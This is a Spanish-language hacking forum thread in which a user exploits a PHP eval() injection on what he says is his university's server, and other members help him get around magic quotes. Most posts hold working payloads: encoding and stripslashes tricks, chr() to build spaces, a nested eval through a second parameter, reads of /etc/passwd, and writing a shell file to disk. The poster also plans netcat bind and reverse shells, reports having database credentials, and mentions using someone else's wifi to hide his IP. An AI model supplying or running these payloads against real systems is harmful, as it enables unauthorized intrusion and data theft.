Tema destacado: Únete al Grupo Steam elhacker.NET
Autor
|
Tema: Php injection (Leído 6,215 veces)
|
tragantras
Desconectado
Mensajes: 466
|
Huuula, bueno, dada la pericia de los peogramadores de mi facultad, e descubierto una vulnerabilidad de tipo php injeciton, mediante un eval($_GET["x"]); si...son así de habiles allí.... ell caso, esk que para continuar con su nivel tiene actividas las magic quotes con lo que no puedo ahcer por ejemplo ?x=system("ls -la"); porque me escapa las comillas... de hecho estoy muy limitado en el uso de comandos puesto que la funcion system recibe una cadena y tal y cual. Por favor sugerencias? algun tipo de bypassing? Gracias por adelantado  pD: tambien me serían útiles algunos comandos (linux) que puedan ser escritos en una sola palabra, es decir sin espacios 
|
|
|
|
« Última modificación: 23 Febrero 2010, 01:00 por tragantras »
|
En línea
|
|
|
|
Castg!
Wiki
Desconectado
Mensajes: 1.187
|
proba con hexadecimal, si queres hacer un cat a /etc/passwd haces asi:
x = system((0x636174202f6574632f706173737764));
creo q tal vez podria servir...
|
|
|
|
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
que tal si pones: eval(stripslashses($_GET["x"]));
|
|
|
|
|
En línea
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
- He probado con el método de conversion a hexadecimal... y no me funciona, por si acaso probé a poner tan solo system(ls) que en hexa queda system(0x6c73) pero ni sikiera así me dejó, estás seguro que se puede incluir hexadecimal en la llamada a la funcion system?
- Tambien e probado con el stripslashes pero no me funcionó, no se si me estoy confundiendo en la manera en que se aplica... ;system(stripslashes("ls -la")) , eso es lo que puse, teniendo en cuenta que si pongo solo ;system(ls) funciona bien ( es decir, el punto y coma del final t lo añade el código )
no se si son errores mios, o proteccion de la web, en cualkier caso muchas gracias por ayudarme y apreciaría si pudieseis seguir haciendolo, un saludo  pD: eval("echo PERICO_".$_GET["x"].";"); ese es el código fatídico, lo pongo por si sirve de algo xD EDITO:He conseguido hacer un "apaño", el tema de las comillas quedó solucionado usando stripslashes como dijo whk, pero apareció un nuevo inconveniente, no podia insertar espacios, así que use la funcion chr() en concreto, chr(32) para insertar el espacio... El problema viene ahora, se ve que no tengo privilegios suficientes ni sikiera para moverme por directorios...(obviamente tampoico para crear archivos :$ ), no se porque cuando realizo system(cat index.php) por ejemplo, en vez de mostrarme el código es como que se "inserta", pero solo el codigo html... es decir como si bajasemos el index.php con "guardar como"... no se me ocurre nada más, dado que no puedo escribir en el directorio en el que se encuentra...alguna sugerencia? 
|
|
|
|
« Última modificación: 23 Febrero 2010, 12:59 por tragantras »
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
- He probado con el método de conversion a hexadecimal... y no me funciona, por si acaso probé a poner tan solo system(ls) que en hexa queda system(0x6c73) pero ni sikiera así me dejó, estás seguro que se puede incluir hexadecimal en la llamada a la funcion system?
- Tambien e probado con el stripslashes pero no me funcionó, no se si me estoy confundiendo en la manera en que se aplica... ;system(stripslashes("ls -la")) , eso es lo que puse, teniendo en cuenta que si pongo solo ;system(ls) funciona bien ( es decir, el punto y coma del final t lo añade el código )
no se si son errores mios, o proteccion de la web, en cualkier caso muchas gracias por ayudarme y apreciaría si pudieseis seguir haciendolo, un saludo  pD: eval("echo PERICO_".$_GET["x"].";"); ese es el código fatídico, lo pongo por si sirve de algo xD EDITO:He conseguido hacer un "apaño", el tema de las comillas quedó solucionado usando stripslashes como dijo whk, pero apareció un nuevo inconveniente, no podia insertar espacios, así que use la funcion chr() en concreto, chr(32) para insertar el espacio... El problema viene ahora, se ve que no tengo privilegios suficientes ni sikiera para moverme por directorios...(obviamente tampoico para crear archivos :$ ), no se porque cuando realizo system(cat index.php) por ejemplo, en vez de mostrarme el código es como que se "inserta", pero solo el codigo html... es decir como si bajasemos el index.php con "guardar como"... no se me ocurre nada más, dado que no puedo escribir en el directorio en el que se encuentra...alguna sugerencia?  Dale a ver código fuente y probablemente el coódigo php se visualice como si fueran comentarios html. Esto pasa porque el navegador lo que está reconociendo es html y entonces si le pasas información con html pues la parsea.
|
|
|
|
|
En línea
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
veis pq amo tanto esta comunidad... jajaja gracias braulio  alguien me sabría decir como podria escribir en un php? es que he descubierto un directorio en el cual se puede escribir, habia pensado en ( pero no me va eh xD ) : x?3;stripslashes(system('echo.chr(32).a>pagina') es decir -> echo a > pagina ( como ejemplo, m refiero ) la idea es.. obviamente hacer una shell algo más facilita, pq me estoy rompiendo la cabeza 
|
|
|
|
|
En línea
|
|
|
|
braulio--
Wiki
Desconectado
Mensajes: 889
Imagen recursiva
|
Podrías hacerlo directamente desde php , pero creo que es mas fácil así : system("echo".chr(32)."loquequierasescribir".chr(32).">shell.php");
. es el símbolo de concatenación de cadenas, supongo que sabes php.
|
|
|
|
|
En línea
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
Podrías hacerlo directamente desde php , pero creo que es mas fácil así : system("echo".chr(32)."loquequierasescribir".chr(32).">shell.php");
. es el símbolo de concatenación de cadenas, supongo que sabes php. si si, algo de php si que se, el asunto es que como están activadas las magic quotes (como puse arriba), no me deja más que insertar comillas simples mediante el stripslashes y no funciona bien... ciertamente no lo entiendo, por que por ejemplo si que puedo poner system(ls.chr(32).chr(45).la) quedando ls -la si que funciona, pero sin embargo si pong system(echo.chr(32).a) (echo a) por ejemplo, que debería mostrarmelo por pantalla, no suelta nada... y no termino de cogerlo... EDITO:hmmm a;stripslashes(system('echo'.chr(32).'cosa>a.txt')) así si que me deja, bueno un saludo y sigo a la escucha de posibles opciones de explotación (gracias de nuevo braulio) PD: edito por si a alguien le interesa seguir la evolucion de un newbie xDD
|
|
|
|
« Última modificación: 23 Febrero 2010, 15:31 por tragantras »
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
nopo, esque de nada sirve ejecutar eval(stripslashses(system('ls -la'))) porque quedaría eval(stripslashses(system(\'ls -la\'))) , por eso debes ejecutarlo en la variable get: eval(stripslashses($_GET[x])) y fijate que va sin comillas, ahora ejecutas index.php?x=system('ls -la'); exit;
|
|
|
|
|
En línea
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
nopo, esque de nada sirve ejecutar eval(stripslashses(system('ls -la'))) porque quedaría eval(stripslashses(system(\'ls -la\'))) , por eso debes ejecutarlo en la variable get: eval(stripslashses($_GET[x])) y fijate que va sin comillas, ahora ejecutas index.php?x=system('ls -la'); exit; hmmm jaja pero quizá no m expliqué bien, el código obviamente no lo puedo modificar yo... es un servidor web, tan solo puedo explotar dicha vuln :S
|
|
|
|
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
ah en ese caso puedes hacer un index.php?x=eval(stripslashses($_GET[z]));&z=echo 'x';exit; de esta forma desde la variable x le das un nuevo eval y stripslashses y fijate que no ingresamos ninguna comilla, luego desde una segunda variable le inyectamos a todo dar 
|
|
|
|
|
En línea
|
|
|
|
Azielito
no es
CoAdmin
 
Desconectado
Mensajes: 9.114
>.<
|
no sé si te funcione aya, pero a mi me dio resultado urldecode(system%28%27dir%27%29); pasando eso por get, no se como lo modifique el foro, hice esto echo urlencode("system('dir')");ya me platicaras PD: dice "dir" por que estoy en windows ¬¬ y que?  !!!
|
|
|
|
« Última modificación: 23 Febrero 2010, 21:46 por Azielito »
|
En línea
|
|
|
|
Castg!
Wiki
Desconectado
Mensajes: 1.187
|
jsajajaja pero dir sirve para igual en windows que en linux...
|
|
|
|
|
En línea
|
|
|
|
WHK
吴阿卡
Moderador
 
Desconectado
Mensajes: 4.113
The Hacktivism is not a crime
|
mejor print_r(glob('*')); print_r(glob('/temp/*')); print_r(glob('/*')); print_r(glob('/etc/*'));
despues lees con file print_r(file('/etc/passwd'));
|
|
|
|
|
En línea
|
|
|
|
tragantras
Desconectado
Mensajes: 466
|
gracias por contestar de nuevo =) WHKno puedo usar los print_r porque requieren cadenas, y como dije al principio están activados los magic_quotes así que no se muy bien como realizar esas operaciones, intenté con chr(39), que viene siendo la comilla simple, pero no procesa bien de esa manera... recuerdo que el código vulnerable es el siguiente eval("echo PERICO_".$_GET["x"].";");AzielitoYa especifiqué que el codigo no puedo modificarlo yo... se trata de una vulnerabildad, no es un foro, es una web de servicios, sin más AllDado que puedo lanzar system() exec() passthru() etc... se me había ocurrido lanzar un nc -l -p 4444 -c /bin/shell o una inversa nc IP 4444 -c /bin/shell pero he tenido algunos problemas haciendo una prueba local, se ve que mi router no hace correctamente la traduccion de IPs privadas a Publicas ( NAT ) asi que..., y tampoco me quiero arriesgar a dejarlo a la escucha en el servidor, que eso es facilmente detectable, además se registraría mi ip... ( que por otra parte...tampoco es mia, es una wifi de por ahi xD ) He obtenido los datos de la conexion de la base de datos, hay una mysql y una oracle, pero... el firewall está configurado para tan solo aceptar peticiones desde dentro... así que por eso me es tan importante instalar una shell dentro. PD: no se si esto está tomando tintes para estar en el tema de hacking general... pero como aun tengo que pasar funciones mediante el eval() y el system() de php, pienso que aun tiene cabida aquí Un saludo y gracias ^^
|
|
|
|
|
En línea
|
|
|
|
|
|